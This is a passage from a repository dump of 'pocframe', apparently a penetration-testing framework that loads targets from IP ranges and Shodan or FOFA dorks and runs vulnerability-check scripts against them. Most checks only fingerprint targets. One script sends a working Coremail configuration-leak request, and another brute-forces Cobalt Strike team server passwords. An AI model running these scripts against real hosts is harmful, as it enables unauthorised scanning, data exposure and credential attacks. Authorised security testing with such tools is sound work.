not found. Example: [-s spider] or [-s ./scripts/spider.py]'.format( 95 | script_name) 96 | colorprint.red(msg) 97 | sys.exit() 98 | 99 | # handle input: "-s spider" "-s spider.py" 100 | else: 101 | if not script_name.endswith('.py'): 102 | script_name += '.py' 103 | _path = os.path.abspath(os.path.join(paths.SCRIPT_PATH, script_name)) 104 | if os.path.isfile(_path): 105 | module_path.append(os.path.abspath(_path)) 106 | else: 107 | msg = '[-] Script [{}] not exist. Use [--show] to view all available script in ./scripts/'.format( 108 | script_name) 109 | colorprint.red(msg) 110 | sys.exit() 111 | 112 | def script_register(args): 113 | 114 | conf.module_path = [] 115 | # handle no scripts 116 | if not args.script_name: 117 | msg = '[-] Use -s to load script. Example: [-s spider] or [-s ./script/spider.py]' 118 | colorprint.red(msg) 119 | sys.exit() 120 | 121 | """添加功能:加载所有poc""" 122 | if args.script_name is '*': 123 | script_list = os.listdir(paths.SCRIPT_PATH) 124 | for script_name in script_list: 125 | if script_name not in ['__init__.py', 'test.py', 'urltest.py'] and os.path.splitext(script_name)[1] == '.py': 126 | conf_path_add(conf.module_path, script_name) 127 | else: 128 | for script_name in args.script_name.split(","): 129 | conf_path_add(conf.module_path, script_name) 130 | 131 | def target_register(args): 132 | 133 | # init target queue 134 | conf.target = set() 135 | 136 | # single target to queue 137 | if args.target_single: 138 | msg = '[+] Load target : {}'.format(args.target_single) 139 | colorprint.green(msg) 140 | conf.target.add(args.target_single) 141 | 142 | # file target to queue 143 | if args.target_file: 144 | if not os.path.isfile(args.target_file): 145 | msg = '[-] TargetFile not found: {}'.format(args.target_file) 146 | colorprint.red(msg) 147 | sys.exit() 148 | msg = '[+] Load targets from : {}'.format(args.target_file) 149 | colorprint.green(msg) 150 | with open(args.target_file, 'r', encoding='utf8') as f: 151 | targets = f.readlines() 152 | for target in targets: 153 | conf.target.add(target.strip('\n')) 154 | 155 | # range of ip target to queue .e.g. 192.168.1.1-192.168.1.100 156 | if args.target_range: 157 | try: 158 | lists = gen_ip(args.target_range) 159 | if (len(lists)) > 100000: 160 | warn_msg = "[*] Loading {} targets, Maybe it's too much, continue? [y/N]".format((len(lists))) 161 | colorprint.cyan(warn_msg, end='') 162 | flag = input() 163 | if flag in ('Y', 'y', 'yes', 'YES', 'Yes'): 164 | pass 165 | else: 166 | msg = '[-] User quit!' 167 | colorprint.cyan(msg) 168 | sys.exit() 169 | 170 | msg = '[+] Load targets from : {}'.format(args.target_range) 171 | colorprint.green(msg) 172 | 173 | # save to conf 174 | for target in lists: 175 | conf.target.add(target) 176 | 177 | except: # Exception as e: 178 | # colorprint.red(e) 179 | err_msg = "Invalid input in [-iR], Example: -iR 192.168.1.1-192.168.1.100" 180 | colorprint.red(err_msg) 181 | sys.exit() 182 | 183 | # ip/mask e.g. 192.168.1.2/24 184 | if args.target_network: 185 | try: 186 | ip_range = ipaddress.ip_network(args.target_network, strict=False) 187 | for ip in ip_range.hosts(): 188 | conf.target.add(ip) 189 | 190 | except: # Exception as e: 191 | # colorprint.red(e) 192 | msg = "[-] Invalid input in [-iN], Example: -iN 192.168.1.0/24" 193 | colorprint.red(msg) 194 | sys.exit() 195 | 196 | msg = '[+] Load targets from : {}'.format(args.target_network) 197 | colorprint.green(msg) 198 | 199 | # set search limit of api 200 | if args.api_limit <= 0: 201 | err_msg = 'Invalid input in [-limit] (can not be negative number)' 202 | colorprint.red(err_msg) 203 | sys.exit() 204 | if args.api_limit > 10000: 205 | warn_msg = "Loading {} targets, Maybe it's too much, continue? [y/N]".format(args.api_limit) 206 | colorprint.cyan(warn_msg) 207 | flag = input() 208 | if flag in ('Y', 'y', 'yes', 'YES', 'Yes'): 209 | pass 210 | else: 211 | msg = 'User quit!' 212 | colorprint.cyan(msg) 213 | sys.exit() 214 | conf.limit = args.api_limit 215 | 216 | # set search offset of api 217 | if args.api_offset < 0: 218 | warn_msg = "Wrong offset setting, would you like to set it to 0? [y/N]".format(args.api_limit) 219 | colorprint.cyan(warn_msg) 220 | flag = input() 221 | if flag in ('Y', 'y', 'yes', 'YES', 'Yes'): 222 | args.api_offset = 0 223 | else: 224 | msg = 'User quit!' 225 | colorprint.cyan(msg) 226 | sys.exit() 227 | conf.offset = args.api_offset 228 | 229 | if args.zoomeye_dork: 230 | from lib.api.zoomeye.zoomeye import handle_zoomeye 231 | # verify search_type for zoomeye 232 | if args.search_type not in ['web', 'host']: 233 | msg = '[-] Invalid value in [--search-type], show usage with [-h]' 234 | colorprint.red(msg) 235 | sys.exit() 236 | conf.search_type = args.search_type 237 | handle_zoomeye(query=args.zoomeye_dork, limit=conf.limit, type=conf.search_type, offset=conf.offset) 238 | 239 | if args.fofa_dork: 240 | from lib.api.fofa.fofa import handle_fofa 241 | handle_fofa(query=args.fofa_dork, limit=conf.limit, offset=conf.offset) 242 | 243 | if args.shodan_dork: 244 | from lib.api.shodan.shodan import handle_shodan 245 | handle_shodan(query=args.shodan_dork, limit=conf.limit, offset=conf.offset) 246 | 247 | if args.censys_dork: 248 | from lib.api.censys.censys import handle_censys 249 | handle_censys(query=args.censys_dork, limit=conf.limit, offset=conf.offset) 250 | 251 | # verify targets number 252 | if len(conf.target) == 0: 253 | err_msg = 'No targets found\nPlease load targets with [-iU|-iF|-iR|-iN] or use API with [-aZ|-aS|-aG|-aF]' 254 | colorprint.red(err_msg) 255 | sys.exit() 256 | 257 | 258 | def output_register(args): 259 | # if not define output, named it by time 260 | if not args.output_path: 261 | filename = time.strftime("%Y-%m-%d-%H-%M-%S", time.localtime()) + '.txt' 262 | else: 263 | filename = args.output_path 264 | conf.output_path = os.path.join(paths.OUTPUT_PATH, filename) 265 | msg = '[+] Output: %s' % conf.output_path 266 | colorprint.green(msg) 267 | 268 | 269 | def proxy_regester(args): 270 | # if define proxy 271 | if args.proxy: 272 | proxy = args.proxy 273 | else: 274 | proxy = ConfigFileParser().proxy() 275 | if proxy: 276 | # check proxy format 277 | try: 278 | # check protocol 279 | protocol = proxy.split("://")[0].lower() 280 | if protocol not in ("socks4",'socks5','http'): 281 | raise Exception("proxy protocol format error, please check your proxy (socks4|socks5|http)") 282 | 283 | # check ip addr 284 | ip = proxy.split("://")[1].split(":")[0] 285 | compile_ip=re.compile('^(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|[1-9])\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)$') 286 | if not compile_ip.match(ip): 287 | raise Exception("proxy ip format error, please check your proxy") 288 | 289 | # check port 290 | port = int(proxy.split("://")[1].split(":")[1]) 291 | if not 0 <= port <= 65535: 292 | raise Exception("proxy port format error, please check your proxy") 293 | 294 | except Exception as e: 295 | colorprint.red(e) 296 | sys.exit() 297 | 298 | msg = "[+] setting proxy: {}://{}:{}".format(protocol, ip, port) 299 | colorprint.green(msg) 300 | conf.proxy = (protocol, ip, port) 301 | else: 302 | conf.proxy = None 303 | 304 | 305 | def logger_lever_set(args): 306 | if args.logging_level == 1: 307 | logger.setLevel(logging.ERROR) 308 | elif args.logging_level == 2: 309 | logger.setLevel(logging.WARNING) 310 | elif args.logging_level == 3: 311 | logger.setLevel(logging.INFO) 312 | elif args.logging_level == 4: 313 | logger.setLevel(logging.DEBUG) 314 | elif args.logging_level == 5: 315 | logger.setLevel(logging.NOTSET) 316 | else: 317 | msg = 'something error when setting logger lever, please check it!' 318 | colorprint.red('[-] ' + msg) 319 | sys.exit() -------------------------------------------------------------------------------- /lib/core/setting.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | import sys 9 | import os 10 | 11 | GIT_REPOSITORY = "https://github.com/r0ckysec/pocframe" 12 | WEBSITE = "https://github.com/r0ckysec/pocframe" 13 | version = 1.0 14 | BANNER = r""" 15 | __ {website} 16 | _ __ ___ ___ / _|_ __ __ _ _ __ ___ ___ 17 | | '_ \ / _ \ / __| |_| '__/ _` | '_ ` _ \ / _ \ 18 | | |_) | (_) | (__| _| | | (_| | | | | | | __/ 19 | | .__/ \___/ \___|_| |_| \__,_|_| |_| |_|\___| 20 | |_| {version} 21 | """.format(website=WEBSITE, version=version) 22 | 23 | 24 | IS_WIN = True if (sys.platform in ["win32", "cygwin"] or os.name == "nt") else False -------------------------------------------------------------------------------- /lib/parse/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | 9 | pass -------------------------------------------------------------------------------- /lib/parse/cmdline.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | import argparse 9 | 10 | 11 | def cmdLineParser(): 12 | """ 13 | This function parses the command line parameters and arguments 14 | """ 15 | parser = argparse.ArgumentParser(usage='python3 pocframe.py -s thinkphp_rce -aS "thinkphp" --proxy 127.0.0.1:1080 ') 16 | 17 | # engine 18 | engine = parser.add_argument_group("Engine", "Those options decide the working way of engine") 19 | engine.add_argument('-eT', dest="engine_thread", default=False, action='store_true', 20 | help='Multi-Threaded engine') 21 | engine.add_argument('-eG', dest="engine_gevent", default=False, action='store_true', 22 | help='Gevent engine (single-threaded with asynchronous, default choice)') 23 | engine.add_argument("-t","--thread", dest="concurrent_num", type=int, default=100, 24 | help="num of concurrent, default 100") 25 | 26 | # script 27 | script = parser.add_argument_group("Script", "Those options decide which script to load") 28 | script.add_argument("-s", "--script", dest="script_name", type=str, default="", 29 | help="load script by name (-s jboss-rce)") 30 | script.add_argument('--show', dest="show_scripts", default=False, action='store_true', 31 | help='show available script names in ./script/ and exit') 32 | # target 33 | target = parser.add_argument_group("Target","Those options can be used to load targets") 34 | target.add_argument("-iU", metavar='TARGET', dest="target_single", type=str, default="", 35 | help="scan a single target (e.g. www.wooyun.org)") 36 | target.add_argument("-iF", metavar='FILE', dest="target_file", type=str, default="", 37 | help="load targets from targetFile (e.g. wooyun_domain.txt)") 38 | target.add_argument('-iR', metavar='START-END', dest="target_range", type=str, default='', 39 | help='array from int(start) to int(end) (e.g. 192.168.1.1-192.168.2.100)') 40 | target.add_argument('-iN', metavar='IP/MASK', dest="target_network", type=str, default='', 41 | help='generate IP from IP/MASK. (e.g. 192.168.1.0/24)') 42 | # api 43 | api = parser.add_argument_group('API', "Those options can be used to load targets with api") 44 | api.add_argument('-aZ', '--zoomeye', metavar='DORK', dest="zoomeye_dork", type=str, default='', 45 | help='ZoomEye dork (e.g. "zabbix port:8080")') 46 | api.add_argument('-aS', '--shodan', metavar='DORK', dest="shodan_dork", type=str, default='', 47 | help='Shodan dork.') 48 | api.add_argument('-aF', '--fofa', metavar='DORK', dest="fofa_dork", type=str, default='', 49 | help='FoFa dork (e.g. "banner=users && protocol=ftp")') 50 | api.add_argument('-aC', '--censys', metavar='DORK', dest="censys_dork", type=str, default='', 51 | help='censys dork ') 52 | api.add_argument('--limit', metavar='NUM', dest="api_limit", type=int, default=100, 53 | help='Maximum searching results (default:50)') 54 | api.add_argument('--offset', metavar='OFFSET', dest="api_offset", type=int, default=0, 55 | help="Search offset to begin getting results from (default:0)") 56 | api.add_argument('--search-type', metavar='TYPE', dest="search_type", action="store", default='host', 57 | help="[ZoomEye] search type used in ZoomEye API, web or host (default:host)") # search type 58 | 59 | # output 60 | output = parser.add_argument_group("Output","Those options can be used to set output path and filename") 61 | output.add_argument("-o","--output", dest="output_path", type=str, default="", 62 | help="output file name. default in ./output/") 63 | output.add_argument("-v", "--verbose", dest="logging_level", type=int, default=2, 64 | help="logging level, default WARNING,(eg -v 3) to output more") 65 | 66 | # proxy 67 | proxy = parser.add_argument_group("Proxy","Those options can be used to set proxy") 68 | proxy.add_argument("--proxy", metavar='PROXY', dest="proxy", type=str, default='', help="connect to target with proxy (e.g. 'socks5://127.0.0.1:1080')") 69 | 70 | args = parser.parse_args() 71 | return args 72 | 73 | -------------------------------------------------------------------------------- /lib/utils/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | 9 | pass -------------------------------------------------------------------------------- /lib/utils/config.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | 9 | from configparser import ConfigParser 10 | from lib.core.data import paths 11 | from lib.core.common import colorprint 12 | 13 | 14 | class ConfigFileParser: 15 | @staticmethod 16 | def _get_option(section, option): 17 | try: 18 | cf = ConfigParser() 19 | cf.read(paths.CONFIG_PATH) 20 | return cf.get(section=section, option=option) 21 | except: 22 | colorprint.cyan('Missing essential options, please check your config-file.') 23 | return '' 24 | 25 | def ZoomEyeEmail(self): 26 | return self._get_option('zoomeye', 'email') 27 | 28 | def ZoomEyePassword(self): 29 | return self._get_option('zoomeye', 'password') 30 | 31 | def fofa_email(self): 32 | return self._get_option('fofa','email') 33 | 34 | def fofa_key(self): 35 | return self._get_option('fofa','key') 36 | 37 | def shodan_apikey(self): 38 | return self._get_option('shodan', 'api_key') 39 | 40 | def censys_UID(self): 41 | return self._get_option('censys', 'UID') 42 | 43 | def censys_SECRET(self): 44 | return self._get_option('censys', 'SECRET') 45 | 46 | def proxy(self): 47 | return self._get_option('proxy','proxy') 48 | 49 | 50 | 51 | 52 | 53 | 54 | -------------------------------------------------------------------------------- /lib/utils/console.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | 9 | """ 10 | getTerminalSize() 11 | - get width and height of console 12 | - works on linux,os x,windows,cygwin(windows) 13 | """ 14 | 15 | import os 16 | 17 | __all__ = ['getTerminalSize'] 18 | 19 | 20 | def getTerminalSize(): 21 | import platform 22 | current_os = platform.system() 23 | tuple_xy = None 24 | if current_os == 'Windows': 25 | tuple_xy = _getTerminalSize_windows() 26 | if tuple_xy is None: 27 | tuple_xy = _getTerminalSize_tput() 28 | # needed for window's python in cygwin's xterm! 29 | if current_os == 'Linux' or current_os == 'Darwin' or current_os.startswith('CYGWIN'): 30 | tuple_xy = _getTerminalSize_linux() 31 | if tuple_xy is None: 32 | tuple_xy = (80, 25) # default value 33 | return tuple_xy 34 | 35 | 36 | def _getTerminalSize_windows(): 37 | res = None 38 | try: 39 | from ctypes import windll, create_string_buffer 40 | 41 | # stdin handle is -10 42 | # stdout handle is -11 43 | # stderr handle is -12 44 | 45 | h = windll.kernel32.GetStdHandle(-12) 46 | csbi = create_string_buffer(22) 47 | res = windll.kernel32.GetConsoleScreenBufferInfo(h, csbi) 48 | except Exception: 49 | return None 50 | if res: 51 | import struct 52 | (bufx, bufy, curx, cury, wattr, 53 | left, top, right, bottom, maxx, maxy) = struct.unpack("hhhhHhhhhhh", csbi.raw) 54 | sizex = right - left + 1 55 | sizey = bottom - top + 1 56 | return sizex, sizey 57 | else: 58 | return None 59 | 60 | 61 | def _getTerminalSize_tput(): 62 | # get terminal width 63 | # src: http://stackoverflow.com/questions/263890/how-do-i-find-the-width-height-of-a-terminal-window 64 | try: 65 | import subprocess 66 | proc = subprocess.Popen(["tput", "cols"], stdin=subprocess.PIPE, stdout=subprocess.PIPE) 67 | output = proc.communicate(input=None) 68 | cols = int(output[0]) 69 | proc = subprocess.Popen(["tput", "lines"], stdin=subprocess.PIPE, stdout=subprocess.PIPE) 70 | output = proc.communicate(input=None) 71 | rows = int(output[0]) 72 | return (cols, rows) 73 | except Exception: 74 | return None 75 | 76 | 77 | def _getTerminalSize_linux(): 78 | def ioctl_GWINSZ(fd): 79 | try: 80 | import fcntl, termios, struct 81 | cr = struct.unpack('hh', fcntl.ioctl(fd, termios.TIOCGWINSZ, '1234')) 82 | except Exception: 83 | return None 84 | return cr 85 | 86 | cr = ioctl_GWINSZ(0) or ioctl_GWINSZ(1) or ioctl_GWINSZ(2) 87 | if not cr: 88 | try: 89 | fd = os.open(os.ctermid(), os.O_RDONLY) 90 | cr = ioctl_GWINSZ(fd) 91 | os.close(fd) 92 | except Exception: 93 | pass 94 | if not cr: 95 | try: 96 | cr = (env.get('LINES'), env.get('COLUMNS')) 97 | except Exception: 98 | return None 99 | return int(cr[1]), int(cr[0]) 100 | 101 | -------------------------------------------------------------------------------- /plugin/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | pass -------------------------------------------------------------------------------- /plugin/random_ua.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | """ 9 | 获取随机user-agent头部 10 | 方便poc程序的调用 11 | 12 | Usage: 13 | from plugin.random_ua import get_random_ua, get_pc_ua, get_phone_ua 14 | 15 | ua1 = get_random_ua() 16 | ua2 = get_pc_ua() 17 | ua3 = get_phone_ua() 18 | """ 19 | import random 20 | 21 | 22 | # random user agent 23 | def get_random_ua(): 24 | first_num = random.randint(55, 75) 25 | third_num = random.randint(0, 3200) 26 | fourth_num = random.randint(0, 140) 27 | os_type = [ 28 | '(Windows NT 6.1; WOW64)', 29 | '(Windows NT 10.0; WOW64)', 30 | '(X11; Linux x86_64)', 31 | '(X11; Linux i686) ', 32 | '(Macintosh;U; Intel Mac OS X 10_12_6;en-AU)', 33 | '(iPhone; U; CPU iPhone OS 11_0_6 like Mac OS X; en-SG)', 34 | '(Windows NT 10.0; Win64; x64; Xbox; Xbox One) ', 35 | '(iPad; U; CPU OS 11_3_2 like Mac OS X; en-US) ', 36 | '(Macintosh; Intel Mac OS X 10_14_1)' 37 | ] 38 | chrome_version = 'Chrome/{}.0.{}.{}'.format( 39 | first_num, third_num, fourth_num) 40 | 41 | random_ua = ' '.join(['Mozilla/5.0', random.choice(os_type), 'AppleWebKit/537.36', 42 | '(KHTML, like Gecko)', chrome_version, 'Safari/537.36'] 43 | ) 44 | return random_ua 45 | 46 | 47 | # random user agent of PC 48 | def get_pc_ua(): 49 | first_num = random.randint(55, 75) 50 | third_num = random.randint(0, 3200) 51 | fourth_num = random.randint(0, 140) 52 | os_type = [ 53 | '(Windows NT 6.1; WOW64)', 54 | '(Windows NT 10.0; WOW64)', 55 | '(X11; Linux x86_64)', 56 | '(X11; Linux i686) ', 57 | '(Macintosh;U; Intel Mac OS X 10_12_6;en-AU)', 58 | '(Windows NT 10.0; Win64; x64; Xbox; Xbox One) ', 59 | '(iPad; U; CPU OS 11_3_2 like Mac OS X; en-US) ', 60 | '(Macintosh; Intel Mac OS X 10_14_1)' 61 | ] 62 | chrome_version = 'Chrome/{}.0.{}.{}'.format( 63 | first_num, third_num, fourth_num) 64 | 65 | random_ua = ' '.join(['Mozilla/5.0', random.choice(os_type), 'AppleWebKit/537.36', 66 | '(KHTML, like Gecko)', chrome_version, 'Safari/537.36'] 67 | ) 68 | return random_ua 69 | 70 | # random user agent of mobile phone 71 | def get_phone_ua(): 72 | first_num = random.randint(55, 75) 73 | third_num = random.randint(0, 3200) 74 | fourth_num = random.randint(0, 140) 75 | os_type = [ 76 | '(iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us)', 77 | '(iPhone; U; CPU iPhone OS 4_0 like Mac OS X; en-us)', 78 | '(Linux; U; Android 8.1.0; zh-cn; BLA-AL00 Build/HUAWEIBLA-AL00)', 79 | '(Linux; U; Android 8.0.0; zh-cn; Mi Note 7 Build/OPR1.170623.032)', 80 | ] 81 | chrome_version = 'Chrome/{}.0.{}.{}'.format( 82 | first_num, third_num, fourth_num) 83 | 84 | random_ua = ' '.join(['Mozilla/5.0', random.choice(os_type), 'AppleWebKit/537.36', 85 | '(KHTML, like Gecko)', chrome_version, 'Safari/537.36'] 86 | ) 87 | return random_ua -------------------------------------------------------------------------------- /plugin/target_parse.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | 9 | """ 10 | 1. 解析url 11 | 2. url->ip 12 | """ 13 | from urllib.parse import urlparse 14 | import socket 15 | 16 | 17 | def get_standard_url(url): 18 | """ 19 | url: http://www.baidu.com:80/index.php?id=1&uid=2 20 | return: http://www.baidu.com:80 21 | """ 22 | if not url.startswith("http"): 23 | url = "http://" + url 24 | o = urlparse(url) # ParseResult(scheme='http', netloc='www.baidu.com:80', path='/index.php', 25 | # params='', query='id=1&uid=2', fragment='') 26 | return "{}://{}".format(o.scheme, o.netloc) 27 | 28 | 29 | def url2ip(url): 30 | """ 31 | url: http://www.baidu.com:80/index.php?id=1&uid=2 32 | return ['14.215.177.39', '14.215.177.38'] 33 | """ 34 | if not url.startswith("http"): 35 | url = "http://" + url 36 | o = urlparse(url) 37 | domain = o.hostname 38 | ip = socket.gethostbyname_ex(domain) 39 | return ip[2] 40 | 41 | # print(get_standard_url("http://www.baidu.com:80/index.php?id=1&uid=2")) 42 | # --> http://www.baidu.com:80 43 | # print(url2ip("http://www.baidu.com:80/index.php?id=1&uid=2")) 44 | # -->['14.215.177.39', '14.215.177.38'] 45 | 46 | 47 | 48 | -------------------------------------------------------------------------------- /pocframe.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | 9 | from gevent import monkey 10 | monkey.patch_all() 11 | from lib.parse.cmdline import cmdLineParser 12 | from lib.core.common import colorprint, set_paths, banner 13 | from lib.core.data import cmdLineOptions 14 | from lib.core.option import init_options 15 | from lib.controller.engine import run 16 | from lib.controller.loader import load 17 | import os 18 | import time 19 | import sys 20 | import traceback 21 | 22 | def module_path(): 23 | """ 24 | This will get us the program's directory 25 | """ 26 | return os.path.dirname(os.path.realpath(__file__)) 27 | 28 | 29 | def check_environment(): 30 | try: 31 | os.path.isdir(module_path()) 32 | except Exception: 33 | err_msg = "your system does not properly handle non-ASCII paths. " 34 | err_msg += "Please move the pocsuite's directory to the other location" 35 | colorprint.red(err_msg) 36 | raise SystemExit 37 | 38 | 39 | def check_python_version(): 40 | if sys.version_info < (3, 4): 41 | sys.exit("Python {}.{} or later is required.\n".format(3, 4)) 42 | 43 | 44 | def main(): 45 | try: 46 | check_python_version() 47 | check_environment() 48 | 49 | # set paths of project 50 | set_paths(module_path()) 51 | 52 | # output banner information 53 | banner() 54 | 55 | # received command >> cmdLineOptions 56 | cmdLineOptions.update(cmdLineParser().__dict__) 57 | 58 | # loader script,target,working way(threads? gevent?),output_file from cmdLineOptions 59 | # and send it to conf 60 | init_options(cmdLineOptions) 61 | 62 | # load poc module and target --> tasks 63 | load() 64 | 65 | # run! 66 | run() 67 | except Exception as e: 68 | print(e) 69 | 70 | finally: 71 | print("\n\n[*] shutting down at {0}\n".format(time.strftime("%X"))) 72 | 73 | 74 | if __name__ == "__main__": 75 | main() 76 | -------------------------------------------------------------------------------- /requirement.txt: -------------------------------------------------------------------------------- 1 | gevent 2 | requests 3 | shodan 4 | httplib2 5 | PySocks -------------------------------------------------------------------------------- /scripts/Apache-Flink-Web-Dashboard-RCE.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | 9 | """ 10 | Apache Flink任意Jar包上传导致远程代码执行 11 | """ 12 | 13 | from urllib.parse import urlparse 14 | from lib.core.Request import request 15 | import traceback 16 | 17 | def poc(url): 18 | if not url.startswith("http"): 19 | url = "http://" + url 20 | o = urlparse(url) 21 | port = o.port if o.port else 8081 22 | try: 23 | target = f"{o.scheme}://{o.hostname}:{port}" 24 | # print(target) 25 | res = request.get(url=target, timeout=5) 26 | if "apache flink" in res.text.lower(): 27 | return True 28 | else: 29 | return False 30 | except: 31 | return False 32 | 33 | 34 | -------------------------------------------------------------------------------- /scripts/CVE-2020-8813.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | # Exploit Title: Cacti v1.2.8 Unauthenticated Remote Code Execution 9 | # Date: 03/02/2020 10 | # Exploit Author: Askar (@mohammadaskar2) 11 | # CVE: CVE-2020-8813 12 | # Vendor Homepage: https://cacti.net/ 13 | # Version: v1.2.8 14 | # Tested on: CentOS 7.3 / PHP 7.1.33 15 | 16 | from lib.core.Request import request 17 | from plugin.target_parse import get_standard_url 18 | 19 | 20 | def poc(url): 21 | url = get_standard_url(url) 22 | path = url+"/graph_realtime.php?action=init" 23 | try: 24 | # print(path) 25 | req = request.get(path, timeout=5) 26 | if req.status_code == 200 and "poller_realtime.php" in req.text: 27 | return True 28 | else: 29 | return False 30 | except: 31 | return False -------------------------------------------------------------------------------- /scripts/coremail_source_leak.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | 9 | """ 10 | coremail信息泄露 11 | refer: https://cert.360.cn/warning/detail?id=41af711794c911ff0e0b05ca60be1177 12 | """ 13 | 14 | from urllib.parse import urlparse 15 | from lib.core.Request import request 16 | 17 | headers = {'User-Agent':"Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0"} 18 | payload = '/mailsms/s?func=ADMIN:appState&dumpConfig=/' 19 | 20 | 21 | def poc(url): 22 | # url = "http://www.example.org/default.html?ct=32&op=92&item=98" 23 | # --> http://www.example.org 24 | if url[:4] != "http": 25 | url = "http://" + url 26 | o = urlparse(url) 27 | url = o.scheme + "://" + o.netloc + payload 28 | try: 29 | req = request.get(url, headers=headers, timeout=5, allow_redirects=False, verify=False) 30 | if req.status_code == 200: 31 | return url 32 | else: 33 | return False 34 | except: 35 | return False 36 | -------------------------------------------------------------------------------- /scripts/csbrute.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | # description: Cobalt Strike Team Server Password Brute Forcer 9 | # reference: https://github.com/ryanohoro/csbruter 10 | 11 | import gevent 12 | from gevent.queue import Queue 13 | import socket 14 | import ssl 15 | from lib.core.data import paths 16 | from urllib.parse import urlparse 17 | import traceback 18 | 19 | 20 | is_continue = True 21 | 22 | 23 | class NotConnectedException(Exception): 24 | def __init__(self, message=None, node=None): 25 | self.message = message 26 | self.node = node 27 | 28 | 29 | class Connector: 30 | def __init__(self): 31 | self.sock = None 32 | self.ssl_sock = None 33 | self.ctx = ssl.SSLContext() 34 | self.ctx.verify_mode = ssl.CERT_NONE 35 | pass 36 | 37 | def is_connected(self): 38 | return self.sock and self.ssl_sock 39 | 40 | def open(self, hostname, port): 41 | self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 42 | self.sock.settimeout(15) 43 | self.ssl_sock = self.ctx.wrap_socket(self.sock) 44 | 45 | if hostname == socket.gethostname(): 46 | ipaddress = socket.gethostbyname_ex(hostname)[2][0] 47 | self.ssl_sock.connect((ipaddress, port)) 48 | else: 49 | self.ssl_sock.connect((hostname, port)) 50 | 51 | def close(self): 52 | if self.sock: 53 | self.sock.close() 54 | self.sock = None 55 | self.ssl_sock = None 56 | 57 | def send(self, buffer): 58 | if not self.ssl_sock: raise NotConnectedException("Not connected (SSL Socket is null)") 59 | self.ssl_sock.sendall(buffer) 60 | 61 | def receive(self): 62 | if not self.ssl_sock: raise NotConnectedException("Not connected (SSL Socket is null)") 63 | received_size = 0 64 | data_buffer = b"" 65 | 66 | while received_size < 4: 67 | data_in = self.ssl_sock.recv() 68 | data_buffer = data_buffer + data_in 69 | received_size += len(data_in) 70 | 71 | return data_buffer 72 | 73 | 74 | def password_check(passwords, host, port, result): 75 | global is_continue 76 | while not passwords.empty() and is_continue: 77 | try: 78 | password = passwords.get() 79 | conn = Connector() 80 | conn.open(host, port) 81 | payload = bytearray(b"\x00\x00\xbe\xef") + len(password).to_bytes(1, "big", signed=True) + bytes( 82 | bytes(password, "ascii").ljust(256, b"A")) 83 | conn.send(payload) 84 | if conn.is_connected(): res = conn.receive() 85 | if conn.is_connected(): conn.close() 86 | if res == bytearray(b"\x00\x00\xca\xfe"): 87 | result.append("{}:{}:{}".format(host, port, password)) 88 | is_continue = False 89 | except: 90 | # 